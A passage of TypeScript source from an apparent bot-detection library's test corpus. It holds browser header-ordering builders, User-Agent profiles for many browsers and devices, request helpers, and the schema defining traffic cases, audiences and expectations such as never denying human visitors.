Header[]): Header[] {\n const order = [\"Sec-Fetch-Dest\", \"Sec-Fetch-Mode\", \"Sec-Fetch-Site\", \"Sec-Fetch-User\"];\n return order.flatMap((name) => headers.filter(([header]) => header === name));\n}\n\n// --- WebKit ------------------------------------------------------------------\n\n/** Safari interleaves Fetch Metadata with content negotiation rather than grouping it. */\nfunction webkitBuild(options: ResolvedOptions, self: EngineProfile): Header[] {\n const metadata = new Map(fetchMetadata(options.kind));\n const { early, late } = conditional(options);\n return [\n [\"Host\", options.host],\n ...early,\n ...(metadata.has(\"Sec-Fetch-Dest\") ? ([[\"Sec-Fetch-Dest\", metadata.get(\"Sec-Fetch-Dest\")!]] as Header[]) : []),\n [\"User-Agent\", self.userAgent],\n ...(options.origin !== undefined ? ([[\"Origin\", options.origin]] as Header[]) : []),\n ...body(options),\n [\"Accept\", acceptFor(options.kind, self.acceptDocument)],\n ...(metadata.has(\"Sec-Fetch-Site\") ? ([[\"Sec-Fetch-Site\", metadata.get(\"Sec-Fetch-Site\")!]] as Header[]) : []),\n [\"Accept-Language\", options.acceptLanguage],\n ...(metadata.has(\"Sec-Fetch-Mode\") ? ([[\"Sec-Fetch-Mode\", metadata.get(\"Sec-Fetch-Mode\")!]] as Header[]) : []),\n [\"Accept-Encoding\", self.acceptEncoding],\n ...(metadata.has(\"Sec-Fetch-User\") ? ([[\"Sec-Fetch-User\", metadata.get(\"Sec-Fetch-User\")!]] as Header[]) : []),\n ...(options.referer !== undefined ? ([[\"Referer\", options.referer]] as Header[]) : []),\n ...late,\n [\"Connection\", \"keep-alive\"],\n ...(options.cookie !== undefined ? ([[\"Cookie\", options.cookie]] as Header[]) : []),\n ];\n}\n\n/** Older WebKit and embedded builds: no Fetch Metadata at all. */\nfunction legacyWebkitBuild(options: ResolvedOptions, self: EngineProfile): Header[] {\n const { early, late } = conditional(options);\n return [\n [\"Host\", options.host],\n ...early,\n [\"User-Agent\", self.userAgent],\n ...body(options),\n [\"Accept\", acceptFor(options.kind, self.acceptDocument)],\n [\"Accept-Language\", options.acceptLanguage],\n [\"Accept-Encoding\", self.acceptEncoding],\n ...(options.referer !== undefined ? ([[\"Referer\", options.referer]] as Header[]) : []),\n ...late,\n [\"Connection\", \"keep-alive\"],\n ...(options.cookie !== undefined ? ([[\"Cookie\", options.cookie]] as Header[]) : []),\n ];\n}\n\n// --- Accept values -----------------------------------------------------------\n\nconst CHROME_ACCEPT = \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\";\nconst FIREFOX_ACCEPT = \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8\";\nconst SAFARI_ACCEPT = \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\";\nconst LEGACY_ACCEPT = \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\";\n\nfunction chromium(version: string, fullVersion: string, platform: string, platformVersion: string, mobile: boolean, extra?: Partial<ChromiumBrands>): ChromiumBrands {\n return {\n brands: `\"Not(A:Brand\";v=\"99\", \"Google Chrome\";v=\"${version}\", \"Chromium\";v=\"${version}\"`,\n fullVersions: `\"Not(A:Brand\";v=\"99.0.0.0\", \"Google Chrome\";v=\"${fullVersion}\", \"Chromium\";v=\"${fullVersion}\"`,\n platform,\n platformVersion,\n mobile,\n ...extra,\n };\n}\n\n// --- The profiles ------------------------------------------------------------\n\nexport const PROFILES = {\n // ---- Chromium desktop ----\n chromeWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild(chromium(\"152\", \"152.0.7258.67\", \"Windows\", \"15.0.0\", false)),\n },\n chromeMac: {\n userAgent: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-GB,en-US;q=0.9,en;q=0.8\",\n build: chromiumBuild(chromium(\"152\", \"152.0.7258.67\", \"macOS\", \"15.6.0\", false, { arch: \"arm\" })),\n },\n chromeLinux: {\n userAgent: \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild(chromium(\"152\", \"152.0.7258.67\", \"Linux\", \"6.11.0\", false)),\n },\n chromeChromeOs: {\n userAgent: \"Mozilla/5.0 (X11; CrOS x86_64 15886.69.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild(chromium(\"151\", \"151.0.7204.183\", \"Chrome OS\", \"15886.69.0\", false)),\n },\n edgeWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Microsoft Edge\";v=\"150\", \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"150\"',\n fullVersions: '\"Microsoft Edge\";v=\"150.0.3296.62\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Chromium\";v=\"150.0.7061.181\"',\n platform: \"Windows\",\n platformVersion: \"15.0.0\",\n mobile: false,\n }),\n },\n edgeMac: {\n userAgent: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Microsoft Edge\";v=\"150\", \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"150\"',\n fullVersions: '\"Microsoft Edge\";v=\"150.0.3296.62\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Chromium\";v=\"150.0.7061.181\"',\n platform: \"macOS\",\n platformVersion: \"15.6.0\",\n mobile: false,\n }),\n },\n operaWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 OPR/135.0.0.0\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Chromium\";v=\"149\", \"Not(A:Brand\";v=\"24\", \"Opera\";v=\"135\"',\n fullVersions: '\"Chromium\";v=\"149.0.7003.108\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Opera\";v=\"135.0.6312.44\"',\n platform: \"Windows\",\n platformVersion: \"15.0.0\",\n mobile: false,\n }),\n },\n vivaldiWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Vivaldi/7.6.3797.48\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Chromium\";v=\"148\", \"Not(A:Brand\";v=\"24\", \"Vivaldi\";v=\"7.6\"',\n fullVersions: '\"Chromium\";v=\"148.0.6873.120\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Vivaldi\";v=\"7.6.3797.48\"',\n platform: \"Windows\",\n platformVersion: \"15.0.0\",\n mobile: false,\n }),\n },\n /** Brave presents an unmodified Chrome identity by design, and adds Sec-GPC. */\n braveWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild(chromium(\"152\", \"152.0.0.0\", \"Windows\", \"15.0.0\", false)),\n },\n yandexWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 YaBrowser/25.8.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"ru,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Chromium\";v=\"146\", \"YaBrowser\";v=\"25.8\", \"Not(A:Brand\";v=\"24\", \"Yowser\";v=\"2.5\"',\n fullVersions: '\"Chromium\";v=\"146.0.6664.111\", \"YaBrowser\";v=\"25.8.0.1234\", \"Not(A:Brand\";v=\"24.0.0.0\"',\n platform: \"Windows\",\n platformVersion: \"15.0.0\",\n mobile: false,\n }),\n },\n\n // ---- Gecko ----\n firefoxWindows: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\",\n acceptDocument: FIREFOX_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.5\",\n build: geckoBuild,\n },\n firefoxMac: {\n userAgent: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0\",\n acceptDocument: FIREFOX_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-GB,en;q=0.5\",\n build: geckoBuild,\n },\n firefoxLinux: {\n userAgent: \"Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\",\n acceptDocument: FIREFOX_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"de-DE,de;q=0.8,en-US;q=0.5,en;q=0.3\",\n build: geckoBuild,\n },\n firefoxEsr: {\n userAgent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0\",\n acceptDocument: FIREFOX_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.5\",\n build: geckoBuild,\n },\n firefoxAndroid: {\n userAgent: \"Mozilla/5.0 (Android 15; Mobile; rv:148.0) Gecko/148.0 Firefox/148.0\",\n acceptDocument: FIREFOX_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-GB,en;q=0.5\",\n build: geckoBuild,\n },\n\n // ---- WebKit ----\n safariMac: {\n userAgent: \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Safari/605.1.15\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-GB,en;q=0.9\",\n build: webkitBuild,\n },\n safariIos: {\n userAgent: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: webkitBuild,\n },\n safariIpad: {\n userAgent: \"Mozilla/5.0 (iPad; CPU OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-GB,en;q=0.9\",\n build: webkitBuild,\n },\n /** Chrome on iOS is WebKit underneath — the engine, and so the header order, is Safari's. */\n chromeIos: {\n userAgent: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/152.0.7258.60 Mobile/15E148 Safari/604.1\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: webkitBuild,\n },\n firefoxIos: {\n userAgent: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/140.0 Mobile/15E148 Safari/605.1.15\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: webkitBuild,\n },\n edgeIos: {\n userAgent: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 EdgiOS/150.0.3296.60 Mobile/15E148 Safari/605.1.15\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: webkitBuild,\n },\n duckduckgoIos: {\n userAgent: \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1 DuckDuckGo/7\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: webkitBuild,\n },\n\n // ---- Chromium mobile ----\n chromeAndroid: {\n userAgent: \"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-GB,en;q=0.9\",\n build: chromiumBuild(chromium(\"150\", \"150.0.7061.181\", \"Android\", \"15.0.0\", true, { model: \"Pixel 9\" })),\n },\n chromeAndroidTablet: {\n userAgent: \"Mozilla/5.0 (Linux; Android 15; SM-X910) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild(chromium(\"150\", \"150.0.7061.181\", \"Android\", \"15.0.0\", false, { model: \"SM-X910\" })),\n },\n samsungInternet: {\n userAgent: \"Mozilla/5.0 (Linux; Android 15; SM-S938B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/29.0 Chrome/147.0.0.0 Mobile Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\",\n build: chromiumBuild({\n brands: '\"Chromium\";v=\"147\", \"Not(A:Brand\";v=\"24\", \"Samsung Internet\";v=\"29.0\"',\n fullVersions: '\"Chromium\";v=\"147.0.6929.94\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Samsung Internet\";v=\"29.0.0.0\"',\n platform: \"Android\",\n platformVersion: \"15.0.0\",\n mobile: true,\n model: \"SM-S938B\",\n }),\n },\n operaAndroid: {\n userAgent: \"Mozilla/5.0 (Linux; Android 14; CPH2451) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36 OPR/91.0.0.0\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"id-ID,id;q=0.9,en-US;q=0.8\",\n build: chromiumBuild({\n brands: '\"Chromium\";v=\"146\", \"Not(A:Brand\";v=\"24\", \"Opera\";v=\"91\"',\n fullVersions: '\"Chromium\";v=\"146.0.6664.111\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Opera\";v=\"91.0.4516.22\"',\n platform: \"Android\",\n platformVersion: \"14.0.0\",\n mobile: true,\n model: \"CPH2451\",\n }),\n },\n edgeAndroid: {\n userAgent: \"Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36 EdgA/150.0.3296.60\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br, zstd\",\n acceptLanguage: \"en-US,en;q=0.9\",\n build: chromiumBuild({\n brands: '\"Microsoft Edge\";v=\"150\", \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"150\"',\n fullVersions: '\"Microsoft Edge\";v=\"150.0.3296.60\", \"Not(A:Brand\";v=\"24.0.0.0\", \"Chromium\";v=\"150.0.7061.181\"',\n platform: \"Android\",\n platformVersion: \"15.0.0\",\n mobile: true,\n model: \"Pixel 9\",\n }),\n },\n /** UC Browser — very large user base across South and Southeast Asia. */\n ucBrowser: {\n userAgent: \"Mozilla/5.0 (Linux; U; Android 13; en-IN; RMX3771 Build/TP1A.220905.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 UCBrowser/13.7.5.1329 Mobile Safari/537.36\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"en-IN,en-US;q=0.9,en;q=0.8,hi;q=0.7\",\n build: legacyWebkitBuild,\n },\n miBrowser: {\n userAgent: \"Mozilla/5.0 (Linux; U; Android 14; en-in; 23049PCD8I Build/UKQ1.230917.001) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Chrome/125.0.6422.165 Mobile Safari/533.1 XiaoMi/MiuiBrowser/19.4.220521\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"en-IN,en;q=0.9\",\n build: legacyWebkitBuild,\n },\n huaweiBrowser: {\n userAgent: \"Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.186 HuaweiBrowser/15.0.5.310 Mobile Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"zh-CN,zh;q=0.9,en;q=0.8\",\n build: legacyWebkitBuild,\n },\n qqBrowser: {\n userAgent: \"Mozilla/5.0 (Linux; U; Android 14; zh-cn; 2211133C Build/UKQ1.230804.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 MQQBrowser/15.7 Mobile Safari/537.36\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"zh-CN,zh;q=0.9\",\n build: legacyWebkitBuild,\n },\n\n // ---- Consoles, televisions and embedded ----\n silkKindle: {\n userAgent: \"Mozilla/5.0 (Linux; Android 11; KFRAWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36\",\n acceptDocument: CHROME_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-GB,en;q=0.9\",\n build: legacyWebkitBuild,\n },\n tizenTv: {\n userAgent: \"Mozilla/5.0 (SMART-TV; LINUX; Tizen 8.0) AppleWebKit/537.36 (KHTML, like Gecko) 108.0.5359.1/8.0 TV Safari/537.36\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"en-US\",\n build: legacyWebkitBuild,\n },\n webOsTv: {\n userAgent: \"Mozilla/5.0 (Web0S; Linux/SmartTV) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.215 Safari/537.36 WebAppManager\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"en-GB\",\n build: legacyWebkitBuild,\n },\n playstation: {\n userAgent: \"Mozilla/5.0 (PlayStation; PlayStation 5/9.60) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15\",\n acceptDocument: SAFARI_ACCEPT,\n acceptEncoding: \"gzip, deflate, br\",\n acceptLanguage: \"en-GB\",\n build: legacyWebkitBuild,\n },\n nintendoSwitch: {\n userAgent: \"Mozilla/5.0 (Nintendo Switch; WifiWebAuthApplet) AppleWebKit/609.4 (KHTML, like Gecko) NF/6.0.2.23.4 NintendoBrowser/5.1.0.23519\",\n acceptDocument: LEGACY_ACCEPT,\n acceptEncoding: \"gzip, deflate\",\n acceptLanguage: \"en-GB\",\n build: legacyWebkitBuild,\n },\n} as const satisfies Record<string, EngineProfile>;\n\nexport type ProfileName = keyof typeof PROFILES;\nexport const PROFILE_NAMES = Object.keys(PROFILES) as ProfileName[];\n\n/** Builds a request from a named profile. The normal way to write a human case. */\nexport function browser(name: ProfileName, options: ProfileOptions = {}): CaseRequest {\n const profile = PROFILES[name] as EngineProfile;\n const resolved: ResolvedOptions = {\n ...options,\n host: options.host ?? HOST,\n kind: options.kind ?? \"navigate\",\n acceptLanguage: options.acceptLanguage ?? profile.acceptLanguage,\n };\n return {\n headers: profile.build(resolved, profile),\n protocol: \"https\",\n httpVersion: \"1.1\",\n ...(options.kind === \"form-post\" ? { method: \"POST\" } : {}),\n };\n}\n\n/** The raw User-Agent of a profile, for cases that alter it deliberately. */\nexport function userAgentOf(name: ProfileName): string {\n return (PROFILES[name] as EngineProfile).userAgent;\n}\n\n/**\n * A minimal bot-shaped request: a User-Agent and whatever else you name.\n *\n * Most automation really does send this little. Where a specific client is known to\n * send more, the case says so explicitly rather than using this helper.\n */\nexport function plain(userAgent: string, extra: readonly Header[] = [], host = HOST): CaseRequest {\n // `extra` *replaces* a default of the same name rather than following it. A client\n // that sent `Accept: */*` and then a second, different `Accept` does not exist, and\n // building one here made two human fixtures look hand-assembled the moment\n // `header-integrity` learned to read repeated fields.\n const overridden = new Set(extra.map(([name]) => name.toLowerCase()));\n const defaults: Header[] = ([[\"Host\", host], [\"User-Agent\", userAgent], [\"Accept\", \"*/*\"]] as Header[]).filter(([name]) => !overridden.has(name.toLowerCase()));\n return {\n headers: [...defaults, ...extra],\n protocol: \"https\",\n httpVersion: \"1.1\",\n };\n}\n\n/**\n * A well-behaved crawler's request: identity, a contact address, and the negotiation\n * headers a fetcher that intends to parse HTML actually sends.\n */\nexport function crawler(userAgent: string, options: { from?: string; accept?: string; encoding?: string; host?: string; extra?: readonly Header[] } = {}): CaseRequest {\n return {\n headers: [\n [\"Host\", options.host ?? HOST],\n [\"User-Agent\", userAgent],\n [\"Accept\", options.accept ?? \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"],\n [\"Accept-Encoding\", options.encoding ?? \"gzip, deflate, br\"],\n ...(options.from !== undefined ? ([[\"From\", options.from]] as Header[]) : []),\n [\"Connection\", \"keep-alive\"],\n ...(options.extra ?? []),\n ],\n protocol: \"https\",\n httpVersion: \"1.1\",\n };\n}\n","import type { ActionName } from \"../policy/types.js\";\nimport type { BotClass, Verdict } from \"../types.js\";\n\n/**\n * The corpus schema.\n *\n * This is a body of *realistic web traffic* — real User-Agent strings, real header\n * sets in the order real clients send them, real behavioural shapes — paired with\n * what the library ought to conclude about each. It exists to answer one question\n * that no unit test can:\n *\n * > If I point this configuration at the actual internet, who gets hurt?\n *\n * The corpus is deliberately separate from the configuration it tests. Point the\n * runner at your own `BotHandler` and it tells you how *your* policy behaves against\n * every shape of traffic in here — not how the defaults behave.\n *\n * ## Adding cases\n *\n * Add to the file matching the audience, or create a new file and register it in\n * `index.ts`. Every case needs `provenance`: where the shape came from. A fixture\n * somebody invented is worth much less than one copied from a log, and six months\n * later nobody can tell them apart unless it is written down.\n */\n\n/**\n * Who is behind the request — and, more to the point, what it costs to be wrong.\n *\n * This is the axis that matters, because the corpus's central assertion is expressed\n * in terms of it: **no case marked `human` may ever be denied service.** That check\n * runs against every case in the corpus regardless of what its own expectations say,\n * so a new human case protects you the moment it is added.\n */\nexport type Audience =\n /** A person. Being wrong here means turning away a customer. */\n | \"human\"\n /** Automation almost every site wants: search crawlers, link unfurlers, uptime monitors. */\n | \"benign-bot\"\n /** Honest automation whose treatment is a business decision, not a security one. */\n | \"declared-bot\"\n /** Automation most sites would rather not serve: aggressive SEO, bulk extraction. */\n | \"unwanted-bot\"\n /** Scanners, forged identities, credential attacks. */\n | \"hostile\"\n /** Something in the middle of the path: a proxy, a CDN, a corporate gateway. */\n | \"infrastructure\";\n\n/** One HTTP request, as a client would actually send it. */\nexport interface CaseRequest {\n method?: string;\n /** Path plus query, as it appears on the request line. */\n path?: string;\n /**\n * Headers **in the order the client sends them**.\n *\n * A tuple list rather than an object, because order is itself a fingerprint and an\n * object literal's key order is too easy to disturb by accident. `headers.ts` builds\n * these for the real browsers.\n */\n headers: ReadonlyArray<readonly [name: string, value: string]>;\n ip?: string;\n protocol?: \"http\" | \"https\";\n httpVersion?: string;\n tlsFingerprint?: string;\n /** Milliseconds after the case's start time. Drives the behavioural detectors. */\n atMs?: number;\n /** The source could not supply the full header set. See `RequestFacts.partialHeaders`. */\n partialHeaders?: boolean;\n}\n\nexport type OneOrMany<T> = T | readonly T[];\n\n/** What the library should conclude. Every field is optional; absent means \"don't care\". */\nexport interface Expectation {\n verdict?: OneOrMany<Verdict>;\n botClass?: OneOrMany<BotClass>;\n /** Whether the conclusion must rest on proven evidence. */\n certain?: boolean;\n /** Established or claimed identity, e.g. `\"googlebot\"`. */\n identity?: string;\n minScore?: number;\n maxScore?: number;\n /** Detectors that must all have produced evidence. */\n detectors?: readonly string[];\n /** Detectors that must not have fired. The false-positive guard, stated per case. */\n notDetectors?: readonly string[];\n /** Actions that are acceptable. */\n action?: OneOrMany<ActionName>;\n /** Actions that must never be taken. Enforced in addition to the audience rule. */\n neverAction?: readonly ActionName[];\n /**\n * What the action layer actually did, which is not always what the policy decided.\n *\n * A decision to challenge an actor that already holds clearance is refused and the\n * request is served instead — the guard that stops a proven bot from looping on the\n * challenge forever. That distinction is invisible from `action` alone.\n */\n outcome?: \"continue\" | \"respond\" | \"drop\";\n}\n\nexport interface TrafficCase {\n /** Stable, unique, kebab-case. Appears in every report; treat it as an identifier. */\n id: string;\n title: string;\n audience: Audience;\n /** Finer grouping within an audience, e.g. `\"desktop-browser\"`, `\"ai-crawler\"`. */\n category: string;\n /**\n * Where this shape came from: a published User-Agent list, a vendor's documentation,\n * an observed log line, a specification. Required — a fixture nobody can trace is a\n * fixture nobody can update when the world moves.\n */\n provenance: string;\n /** Anything a reader needs in order to judge whether the expectation is right. */\n notes?: string;\n /** A single request, or an ordered sequence from one actor. */\n requests: readonly CaseRequest[];\n expect: Expectation;\n tags?: readonly string[];\n /**\n * Configuration this case depends on, as free-text capability names.\n *\n * Some traffic can only be classified by a detector that has been *told* something\n * — the trap detector cannot recognise a honeypot form field whose name it was\n * never given. Rather than quietly failing against a default configuration, such a\n * case declares what it needs; the runner skips it and says so when the handler\n * under test does not provide it. A skipped case is reported, never counted as a\n * pass, because \"we did not check\" and \"it worked\" must not look the same.\n */\n requires?: readonly string[];\n /**\n * Mint a clearance token for this actor before the case runs, and attach it to\n * every request.\n *\n * The token has to be signed by the handler under test, so the corpus cannot carry\n * a literal cookie — it declares the level it wants and the runner asks the handler\n * for one. `operator` is the only level the library treats as conclusive proof of a\n * person, because it is an assertion by your application rather than an inference\n * from the request.\n */\n clearance?: \"pow\" | \"interaction\" | \"operator\";\n /**\n * A person whose *client software* declares itself automated, and why.\n *\n * The never-deny guarantee attached to `human` cases is a promise about guesses:\n * nobody is refused on the strength of an inference. It is not a promise that the\n * library can see through a client that announces itself as a bot. A podcast\n * application uses one User-Agent both to fetch feeds and to open the links a\n * listener taps; when the listener taps one, the library reads the declaration the\n * software made and is correct to.\n *\n * Setting this exempts the case from the audience rule and, crucially, lists it in\n * the scorecard under its own heading. These are the people the design knowingly\n * cannot protect, and the corpus makes them countable rather than invisible.\n */\n selfDeclared?: string;\n /**\n * DNS the runner should present while this case runs.\n *\n * Forward-confirmed reverse DNS is the only mechanism that can produce a\n * `verified-bot` or prove an `impersonator`, so a corpus that cannot control DNS\n * cannot test the two most consequential verdicts the library reaches. `reverse`\n * maps address to PTR names; `forward` maps name to addresses. A name absent from\n * either map resolves to NXDOMAIN, which is a *definitive* negative answer — the\n * runner never presents a timeout unless a case asks for one, because \"no answer\"\n * and \"the wrong answer\" must lead to different verdicts.\n */\n dns?: {\n reverse?: Readonly<Record<string, readonly string[]>>;\n forward?: Readonly<Record<string, readonly string[]>>;\n /** Make every lookup time out, to exercise the indeterminate path. */\n unavailable?: boolean;\n };\n}\n\n/** Terminal actions. A human case reaching any of these is a corpus failure. */\nexport const DENYING_ACTIONS: readonly ActionName[] = [\"block\", \"drop\", \"redirect\"];\n\n/**\n * Declares a case involving a person.\n *\n * Adds the never-deny guarantee automatically, so it cannot be forgotten, and defaults\n * the verdict expectation to \"not classified as a bot\". Override `expect` for the\n * awkward cases — and there are several, because some real people do look automated.\n */\nexport function human(input: Omit<TrafficCase, \"audience\"> & { audience?: never }): TrafficCase {\n return {\n ...input,\n audience: \"human\",\n expect: 